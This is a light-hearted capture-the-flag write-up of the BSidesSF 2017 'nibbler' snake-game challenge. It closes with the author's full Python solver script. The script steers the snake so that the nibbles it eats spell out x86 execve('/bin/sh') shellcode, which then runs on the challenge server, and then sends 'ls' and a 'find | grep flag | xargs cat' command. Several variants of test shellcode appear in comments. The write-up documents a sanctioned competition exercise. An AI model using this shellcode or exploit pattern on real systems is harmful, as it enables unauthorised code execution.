BSIDES CTF 2017 - nibbler writeup
Alright. Alright, I’m doing this one.
So for the nibbler challenge we’ve got something pretty simple - a source code of basically a Snake game, with a little bit of a twist in that instead of your usual score items the snake eats literally nibbles, or 4-bit chunks of data, that increment their value every tick while on the field (wrapping around of course) and stores them consequentially in memory that gets executed at the time of its death.
There’s also a randomly appearing single-tile obstacle.
Well how about that.
So first thing you should do when encountering a challenge like this one is consider your own sanity for a spell and decide if you really want to sacrifice a bit of it for the privilege of solving the puzzle. Then, possibly get a drink. Then, devise your strategy. Here’s mine!
I hope you got all that!
Really, though, once I got my code working (well, more or less), it became soulwrenchingly apparent that the network latency would probably be the ultimate reason of my loyal nibblers’ untimely deaths.
So I increased the tick period to a whole whopping second, which made my nibblers crawl and very slowly get a test shellcode nibble by nibble (I needed just a simple write call to prove the point – and dump the contents of a register for some information – at first), but still not one was able to string even those 13 bytes together. Was there really any hope of getting 23 then, which had been my target shellcode’s size at the time? Sometimes it was a bug or an oversight in the code (like ignoring wraparound while evading the obstacle, notably), sometimes it was plain bad luck (turns out the target – or the obstacle – could just appear in the middle of the snake, confusing the hell out of it), but most of the times it was just lag – brutish, angry, unavoidable lag happening just once at some point when the snake should have turned but suddenly was moving straight to its another certain gory death. Dropping the tick to even 800ms had been purely unthinkable, and every try took A LOT OF TIME. And of course I had to look for any unexpected deviations in the nibblers’ behaviour that could possibly spell failure in future, fixing them one after another.
Let me just tell you there were a lot of them. After all’s said and done, I promise to present you with the whole ghastly mess that I proudly call my nibbler code, uncut and unabridged. You are every bit as deserving of gazing into it as I were at that moment, or really any particular moment of solving this freakish abomination, suffering of harsh sleep deprivation (please put up the right time on the ctftime.org next time! thank you!), whispering to my nibblers chugging through the terminal tabs, encouraging them, mourning over their dead elongated (but not quite enough, never enough) bodies.
But it will have to wait. Don’t go anywhere.
After some time of engaging in this miserable waste of time, my already failing brain got to the point where through some miracle of pattern-matching it at last realized we were going to need a US-based VPS for this. Me and my poor sweet, precious nibblers.
The first kind soul I could reach who had a VPS at that point of time was Vlad Roskov of LC/BC (who didn’t participate in BSIDES), who provided me with access to a shell located somewhere in Dallas and also advised me on using a shellcode of 21 and not 23 characters with his blessings. I, of course, gladly accepted these wondrous gifts, and we also had a bit of a delightful discussion on using two-stage payloads (sadly, already proven to fail even locally for some unidentifiable, at least in my state then present, reasons) and dumping the registers to identify possibilities of shearing a byte or two off the shellcode. I was already on that while trying out my shiny new VPS at a whopping 200ms tick, and it worked for what’s it worth, but again, for some unknown reasons not zeroeing out ebx, which had been definitely zero every time I checked, led to the actual shellcode failing. Maybe sometime I will get into that, but not now. Not now.
And lo, my army of nibblers started working their tails off (or rather, working them up), led directly into the rear of the enemy, eager to strike at its heart and gouge the bloody flag out of it! One after another their fell, sacrificing their lives, full of beauty and sophistication, for that grisly deed which did not become them, for their duty and honor. I saw Charlotte die horribly when the lag got her at last, crashing her into an obstacle when she was already forty nibbles long; I saw Marlene wringing in desperation when a target burst right through her midriff, catching her off-guard and sending her into dreadful craze; I saw Gwendolyn take an ultimate misstep, skipping a fateful tick and launching to forever wander the seventeenth column of the sorrowful field.
And then… And then I saw Deirdre reach for the final nibble.
Remember my instructions, I whispered. I knew she couldn’t hear me now. Remember! I cried.
I saw her list the directory, doing her first reconaissance. I saw her find the flag.
And then I saw her cat it.
I knew I’ll never see her again.
The Holy Code of Martyr Saint Deirdre
import socket
import time
import re
import binascii
import sys
target_re = re.compile("([\da-f]{2})")
score_re = re.compile("Score: ")
def recvuntil(s,end):
buf = ''
data = s.recv(1)
while data:
buf += data
if buf.endswith(end):
return buf
data = s.recv(1)
return buf
#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# test edx
#shellcode = "\x6a\x04\x58\x6a\x01\x5b\x83\xc2\x1e\x52\x89\xe1\xcd\x80"
#binsh = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\xcd\x80"
#test eax
#shellcode = "\x50\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"
#test ebx
#shellcode = "\x53\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"
#test ecx
#shellcode = "\x51\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"
#test edx
#shellcode = "\x52\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"
#shellcode = "\x6A\x0B\x58\x53\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x89\xE3\x31\xC9\xCD\x80"
shellcode = "\x6A\x0B\x58\x99\x52\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x89\xE3\x31\xC9\xCD\x80"
#read 2nd stage from stdin
#shellcode = "\x50\x59\x6A\x03\x58\x6A\x28\x5A\xCD\x80"
#shellcode = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\xcd\x80"
s = socket.socket()
s.connect(("nibbler-e2cf50d6.ctf.bsidessf.net", 1338))
print s.recv(1024)
s.send("200000\n")
#s.send("e\n")
last_cmd = ""
def turn(d):
last_cmd = d
print "Cmd: %s" % d.strip()
s.send(d)
tick = 0
loop_tick = 0
on_target = False
old_score = ""
target_step = 0
target_queue = []
shellcode_step = 0
high_nibble = True
shellcode_nibble = (ord(shellcode[0]) & 0xf0) >> 4
while True:
screen = recvuntil(s,"right\n")
lines = screen.split("\n")
score_line = None
for i, l in enumerate(lines):
if "Score" in l:
score_line = i
if not score_line:
print '\n'.join(lines)
sys.exit()
if shellcode_step == len(shellcode)*2:
if body_up:
s.send("w\n")
elif body_down:
s.send("s\n")
print recvuntil(s, "Thanks for playing!\n")
# s.send('A'*10 + binsh + "\n")
# data = s.recv(1024)
# print data
# print binascii.hexlify(data)
s.send("ls\n")
print s.recv(1024)
s.send("find | grep flag | xargs cat\n")
print s.recv(1024)
sys.exit()
score = ''.join(lines[score_line].split(' ')[1:])
print binascii.hexlify(score)
if (score != old_score) and on_target == True:
print "Score changed! %s -> %s" % (old_score, score)
on_target = False
old_score = score
high_nibble = not high_nibble
shellcode_step += 1
if shellcode_step < len(shellcode)*2:
shellcode_nibble = ord(shellcode[shellcode_step/2])
if shellcode_step%2 == 0:
shellcode_nibble &= 0xf0
shellcode_nibble >>= 4
else:
shellcode_nibble &= 0xf
for y, l in enumerate(lines[score_line+3:score_line+22]):
m = target_re.search(l)
if m:
target_value = int(m.group(1),16)
x = (l.find(m.group(1)) - 1) / 2
target = (x, y)
if '@@' in l:
x = (l.find('@@') - 1) / 2
snake = (x, y)
if '**' in l:
x = (l.find('**') - 1) / 2
obstacle = (x, y)
body_up = False
body_down = False
if (lines[score_line+3+snake[1]-1][snake[0]*2+1] == 'o'
or snake[1] == 0 and lines[score_line+21][snake[0]*2+1] == 'o'):
body_up = True
if (lines[score_line+3+snake[1]+1][snake[0]*2+1] == 'o'
or snake[1] == 22 and lines[score_line+3][snake[0]*2+1] == 'o'):
body_down = True
print '\n'.join(lines[score_line+3:score_line+22])
print "Score: %s" % score
print "Target value: %x" % target_value
print "Target queue: " + str(target_queue)
print "Target step: %d" % target_step
print "Snake: %s %s Target: %s %s Obstacle: %s %s" % (snake[0], snake[1], target[0], target[1], obstacle[0], obstacle[1])
print "On target: %s Body up: %s Body down: %s" % (on_target, body_up, body_down)
#
# if snake[1] == target[1]:
# s.send("d\n")
# if tick%2 == 1:
if not on_target:
if snake[0] == target[0]:
# check possible values
if not body_up and not ( obstacle[0] in [snake[0], snake[1]] and
(
(obstacle[1] > target[1] and
obstacle[1] < snake[1]) or
(target[1] > snake[1] and
(obstacle[1] < snake[1] or obstacle[1] > target[1])))): # possible obstacle on the way up?
delta_up = snake[1] - target[1]
if delta_up < 0:
delta_up += 19
possible_deltas = [delta_up]
for _ in range((delta_up+1)/2):
possible_deltas += [delta_up+((_+1)*2)]
for turns_needed, d in enumerate(possible_deltas):
if ( (high_nibble and (target_value/0x10 + d) % 16 == shellcode_nibble)
or
(not high_nibble and (target_value + d) % 16 == shellcode_nibble)) :
target_queue = []
for _ in range(turns_needed):
target_queue += ["d\n","w\n","a\n","w\n"]
if target_queue:
target_queue = target_queue[:-1]
target_queue += ["w\n"]
if d == possible_deltas[-1]:
target_queue += ["d\n","w\n"]
on_target = True
target_step = 0
loop_tick = 0
break
if not on_target and not body_down and not (obstacle[0] in [snake[0], snake[1]] and
(
(obstacle[1] < target[1] and
obstacle[1] > snake[1]) or
(target[1] < snake[1] and
(obstacle[1] > snake[1] or obstacle[1] < target[1])))): # possible obstacle on the way down?
delta_down = target[1] - snake[1]
if delta_down < 0:
delta_down += 19
possible_deltas = [delta_down]
for _ in range((delta_down+1)/2):
possible_deltas += [delta_down+((_+1)*2)]
for turns_needed, d in enumerate(possible_deltas):
if ( (high_nibble and (target_value/0x10 + d) % 16 == shellcode_nibble)
or
(not high_nibble and (target_value + d) % 16 == shellcode_nibble)) :
target_queue = []
for _ in range(turns_needed):
target_queue += ["d\n","s\n","a\n","s\n"]
if target_queue:
target_queue = target_queue[:-1]
target_queue += ["s\n"]
if d == possible_deltas[-1]:
target_queue += ["d\n", "s\n"]
on_target = True
target_step = 0
loop_tick = 0
break
elif snake[0] == target[0]-1 and snake[1] != target[1]:
# coming close, go east
loop_tick = 0
if not on_target:
loop = ["d\n","s\n","d\n","w\n"]
cmd = loop[loop_tick]
suspend_loop = False
# even if target reached, need some extra steps to avoid collisions
if target_step < len(target_queue):
cmd = target_queue[target_step]
target_step += 1
suspend_loop = True
if ((cmd == "d\n" and (obstacle[0] == snake[0]+1 or (obstacle[0] == 0 and snake[0] == 22)) and obstacle[1] == snake[1])
or
(cmd == "s\n" and (obstacle[1] == snake[1]+1 or (obstacle[1] == 0 and snake[0] == 19)) and obstacle[0] == snake[0])
or
(cmd == "w\n" and (obstacle[1] == snake[1]-1 or (obstacle[1] == 19 and snake[0] == 0)) and obstacle[0] == snake[0])
or
(cmd == "d\n" and (target[0] == snake[0]+1 or (target[0] == 0 and snake[0] == 22)) and target[1] == snake[1])
or
(cmd == "s\n" and (target[1] == snake[1]+1 or (target[1] == 0 and snake[0] == 19)) and target[0] == snake[0])
or
(cmd == "w\n" and (target[1] == snake[1]-1 or (target[1] == 19 and snake[0] == 0)) and target[0] == snake[0])
or
(cmd == "s\n" and body_down)
or
(cmd == "w\n" and body_up)
):
# or
# cmd == "w\n" and last_cmd == "s\n"
# or
# cmd == "s\n" and last_cmd == "w\n"
# ):
turn("\n")
else:
if not suspend_loop:
loop_tick += 1
loop_tick %= 4
turn(cmd)
else:
if target_step < len(target_queue):
turn(target_queue[target_step])
target_step += 1
else:
if target[0] != snake[0]:
on_target = False
tick += 1
# time.sleep(0.5)